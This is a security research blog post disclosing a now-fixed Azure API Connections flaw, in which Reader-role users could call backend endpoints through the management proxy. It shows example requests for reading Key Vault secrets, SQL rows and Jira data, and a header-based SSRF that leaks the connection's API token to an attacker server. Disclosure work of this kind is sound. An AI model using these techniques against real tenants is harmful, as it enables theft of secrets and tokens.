Azure’s Weakest Link? How API Connections Spill Secrets

Posted by Haakon Holm Gulbrandsrud on March 10, 2025 · 15 mins read

Binary Security found the undocumented APIs for Azure API Connections. In this post we examine the inner workings of the Connections allowing us to escalate privileges and read secrets in backend resources for services ranging from Key Vaults, Storage Blobs, Defender ATP, to Enterprise Jira and SalesForce servers.

Background

During a client engagement, I was checking out their Azure Resources looking for common vulnerabilities. They were utilizing a Logic App to post some messages to Slack. Usually, we can find some tokens or other sensitive information in the workflow run history of these apps, as it is common to not mark input (and output) as sensitive. I could not find anything of the sort in this case, so I moved on from the investigation. However, by chance I saw an odd response from a request automatically made from the portal when going into the API Connection resource. It was something like:

GET /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <Token>


HTTP/2 200 OK
Content-Length: 1893
Content-Type: application/json; charset=utf-8


{
    "kind": "V2",
    "properties": {
        "displayName": "Slack",
        "authenticatedUser": {},
        "overallStatus": "Connected",
        "statuses":[
            {
                "status":"Connected"
            }
        ],
        "connectionState": "Enabled",
        "parameterValueSet":{
            "name":"oauth",
            "values":{}
        },
        "customParameterValues": {},
        "createdTime": "2025-01-24T11:46:25.0499291Z",
        "changedTime": "2025-01-24T11:46:25.0499291Z",
        "api": {
            "name": "slack",
            "displayName": "Slack",
            "description": "Slack is a team communication tool, that brings together all of your team communications in one place, instantly searchable and available wherever you go.",
            "iconUri": "https://conn-afd-prod-endpoint-bmc9bqahasf3grgk.b01.azurefd.net/u/v-anadhar/UpdateSlackForPlugin/1.0.1715.3917/slack/icon.png",
            "brandColor": "#78D4B6",
            "category": "Standard",
            "id": "/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/providers/Microsoft.Web/locations/norwayeast/managedApis/slack",
            "type": "Microsoft.Web/locations/managedApis"
        },
        "testLinks": [
            {
                "requestUri": "https://management.azure.com:443/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack/extensions/proxy/conversations.list?api-version=2018-07-01-preview",
                "method": "get"
            }
        ],
        "testRequests": [
            {
                "body": {
                    "request": {
                        "method": "get",
                        "path": "conversations.list"
                    }
                },
                "requestUri": "https://management.azure.com:443/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack/dynamicInvoke?api-version=2018-07-01-preview",
                "method": "POST"
            }
        ],
        "connectionRuntimeUrl": "https://d84b73b612cf5960.16.common.logic-norwayeast.azure-apihub.net/apim/slack/4355f64966c34c0cbfc15d48ec41e0c3"
    },
    "id": "/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/Logic-app-tests/providers/Microsoft.Web/connections/slack",
    "name": "slack",
    "type": "Microsoft.Web/connections",
    "location": "norwayeast"
}

Now, this might seem uninteresting at first glance, but there are two key fields in this response that really opened up a whole slew of possibilities.

The Inherent Insecurity of API Connections

Consider the testLinks and testRequests fields of the above response. It seems that they provide a sort of proxy between the Azure Management API and the actual backend server, most clearly seen by the extensions/proxy path. We can also see that the connection perhaps is authenticated in some way, by the OAuth value in the parameterValueSet. Now, naively, I would think that this means that some user, probably whoever set this up, is authenticated to this connection, and we would need his token to call through the connection, or maybe do an OAuth dance ourselves.

What I would not expect is that anyone with Reader permissions on the connection is allowed to arbitrarily call any endpoint on the connection:


GET /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/logic-app-tests/providers/Microsoft.Web/connections/jira/extensions/proxy/conversations.list HTTP/2
Host: management.azure.com
Authorization: Bearer <Token>


HTTP/2 200 OK
Content-Type: application/json
Content-Length: 18329

"ok": true,
"channels": [
    {
        "id": "C08B8RB5D39",
        "name": "social",
        "is_channel": true,
        "is_group": false,
        "is_im": false,
        "is_mpim": false,
        "is_private": false,
        "created": 1738674777,
        "is_archived": false,
        "is_general": false,
        "unlinked": 0,
        "name_normalized": "social",
        "is_shared": false,
        "is_org_shared": false,
        "is_pending_ext_shared": false,
        "pending_shared": [],
        "context_team_id": "T08BPBEC890",
        "updated": 1738674779593,
        "parent_conversation": null,
        "creator": "U08C22K3HPT",
        "is_ext_shared": false,
        "shared_team_ids": [
            "T08BPBEC890"
        ],
        "pending_connected_team_ids": [],
        "is_member": true,
<...>

The response is actually exactly the same as a direct query on the Slack API endpoint conversations.list

While the Slack case is perhaps not the most security critical, this result begs the question: Does this work for all the other types of APIs exposed through this interface?

The answer is yes. If you have created an API Connection to any backend server, this includes other Azure resources, all Readers on that subscription can call all GET requests defined on the connection. Specifically, this includes Key Vaults, SQL Databases, Jira-servers, Defender ATP, etc.

Azure Management (ARM) API’s Security Model

Before I show how to exploit this properly, some background on the Azure Management API is required. While we cannot know for sure how the developers at Microsoft designed the system, it seems clear to me that initially, the security model of the management API considered that Readers should be allowed to perform GET requests. You would have to be Contributor or higher to perform any changes, i.e. using any of the POST, PUT, DELETE, etc methods.

This can be seen by for instance requiring a number of sensitive endpoints for App Services to be empty POST requests, like List Host Keys.

At Binary Security we have reported a number of vulnerabilities relating to the leaking of sensitive information through insecure GET endpoints. The result of this is that the security model has been somewhat changed in recent times, and it is now not obvious if a Reader is allowed to call a GET endpoint. This is, however, still a viable attack method, and reading the documentation is still a goldmine for exploitable bugs.

Getting back to the API Connections, it should be clear that the Management’s /extensions/proxy/{action} endpoints will allow all Readers to call the defined GET requests. And while this is not seen as a problem in the ARM world, there is of course no guarantee that the connected API adheres to this security model.

Creating an API Connection

API Connections are resources in the Azure world, just like Key Vaults, SQL Databases or VMs, but they are not required to be explicitly created. They are automatically created for you when setting up Actions in a Logic App, so even if you have never heard of them before, it is quite possible that there are a lot of them hanging out in your tenant. For instance, creating a connection to your Key Vault is as easy as going to the Logic App Designer view, finding the Key Vaults actions, setting some initial values and authenticating. Sign in to create the connection

This of course requires that the person setting it up, and authenticating to the Key Vault has appropriate access to the Key Vault. After signing in, it is not required to even save the Workflow, the resource is still created, and will need to be explicitly deleted if it is not needed any more.

The flows for internal Azure Resources are all similar, where you can choose between different authentication types. For external resources, the setup varies, but in all cases, some authentication information is saved within the API Connection in some way, and this is used when querying the API.

This means that the authentication used on the backend API call is always the same, and does not depend on the user or principal calling the ARM API. Crucially, the backend cannot know whether the call comes from the Logic App or from the proxy endpoint, called by any Reader on the resource.

The API Connection API

The full list of API Connections (Connectors) can be seen here. The proxy endpoints are not explicitly listed, but they can either be deduced from the API of the connected service, or by querying the managedAPIs endpoint for that specific Connector, which exposes a Swagger definition of the API. Here we query it for the definition of the Jira Connector:

GET /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/providers/microsoft.web/locations/norwaywest/managedapis/jira?api-version=2018-07-01-preview&export=true HTTP/2
Host: management.azure.com
Authorization: Bearer <Token>

HTTP/2 200 OK
<...>

{
    "/{connectionId}/3/issue/{issueIdOrKey}": {
        "put": {
            "description": "Edits an issue. A transition may be applied and issue properties updated as part of the edit. The edits to the issue's fields are defined using update and fields.",
            "summary": "Edit Issue",
            "tags": [
                "Issues"
            ],
            "operationId": "EditIssue",
            "deprecated": false,
            "produces": [
                "application/json"
            ],
            "consumes": [
                "application/json"
            ],
            "parameters": [
                {
                    "name": "connectionId",
                    "in": "path",
                    "required": true,
                    "type": "string",
                    "x-ms-visibility": "internal"
                },
                {
                    "name": "issueIdOrKey",
                    "in": "path",
                    "required": true,
                    "type": "string",
                    "x-ms-summary": "Issue ID or Key",
                    "description": "Provide the Issue ID or Key for the issue you wish to edit",
                    "x-ms-url-encoding": "single"
                },
<...>

The {connectionId} in this case is the full path to the proxy endpoint, something like /subscription/[SUBSCRIPTION_ID]/resourceGroups/[RESOURCE_GROUP]/providers/Microsoft.Web/connections/[CONNECTION_NAME]/extensions/proxy/.

Armed with this knowledge, we can go searching for sensitive endpoints.

Azure Key Vaults

The Connector for Key Vaults is maybe the one with the highest impact. The Swagger definition includes these sensitive GET endpoints

  • /{connectionId}/secrets for listing secrets
  • /{connectionId}/secrets/{secretName}/value to retrieve the value of the secret

Leaking Secrets through the connection

SQL Databases

The SQL Connector is quite similar to the Key Vault, you are basically free to read whatever you want:

  • /{connectionId}/databases - List Databases

  • /{connectionId}/datasets - List Datasets

  • /{connectionId}/datasets({dataset})/tables({table})/items - Get rows from a table

Reading the rows of the database

There is also a hilarious error message here, when trying to do some path traversing in the dataset name. It did not seem to be exploitable in any way, but I bet you have never seen a stacktrace exposed in an HTTP status message:

Path traversal leads to stacktrace in HTTP status message

Jira

The Jira Connector also exposes effectively everything on your Jira instance:

  • /{connectionId}/v2/project/search - List projects

  • /{connectionId}/user/permission/search - List users

  • /{connectionId}/2/search - List issues

  • /{connectionId}/issue/{issueKey} - Read an issue

This connector is also interesting because it, of course, must be connected to your Jira instance somewhere else on the Internet. When setting up the connection, the developer gives the connection the URL of the Jira Instance. Incredibly, this is ignored in all subsequent requests, and instead, a special X-Request-Jirainstance header must be included in the request. This should point to your Jira instance, but there is no verification, so an attacker is free to SSRF at will. By setting this to an attacker-controlled server, the attacker will receive the API token used by the connection. This effectively also bypasses the restriction on the requests, and allows the attacker to query any endpoint with any method.

The special header will force the server to make a request to an attacker-controlled site

The attacker receives the request, with the token in the `Authorization` header

Note that this attack is only possible when using the APIToken authentication mechanism. When using OAuth, a GUID is used to identify your Jira Instance.

The Rest

All API Connections must be considered insecure as long as Readers can call the backend server. In nearly all cases I have seen, the connection exposes all information on the backend service. In addition to the ones above, this includes:

  • Salesforce
  • Azure Storage Blobs
  • Azure Defender ATP
  • Google Mail, Contacts, Calendars

and probably much more.

Future work

I think there is significant undiscovered potential in these connections. Without going into detail, I can tell you that API Connections have a significant amount of architecture hidden between the Management Server and the backend API. All calls go from ARM to a global APIM instance containing every tenant’s API Connection, utilizing a Token Store. The initial authentication setup likewise goes through a global Consent server for storing tokens. If this hidden infrastructure is compromised, there will be significant cross-tenant impact as well.

Conclusion

Hopefully by now, you have realized the impact of a lacking security model. While these endpoints are undocumented, that only makes them harder to find, not exploit. I am confident that any security researcher who had found them would immediately have noticed the glaring security hole it puts in their tenant. Hopefully, this post will allow others to discover more insecurities in Azure, so that we can be more secure in the future.

Microsoft response:

  • Jan 6: Report submitted to Microsoft, both a general for API Connections and one specifically for Jira.
  • Jan 7: API Connection case is closed by Microsoft as not valid, I submit it again with more words.
  • Jan 10: Microsoft confirms the API Connection vulnerability
  • Jan 12-17: Microsoft fixes the API Connection vulnerability by not allowing any requests through /extensions/proxy except for testrequests.
  • Jan 30: Microsoft replies on the Jira ticket, saying they cannot reproduce it, which should be obvious, since now it is fixed.
  • Feb 12: Jira Ticket is closed
  • Feb 13: Microsoft replies to the API Connection case, saying it has been fixed.
  • Feb 20: The case is closed as a duplicate.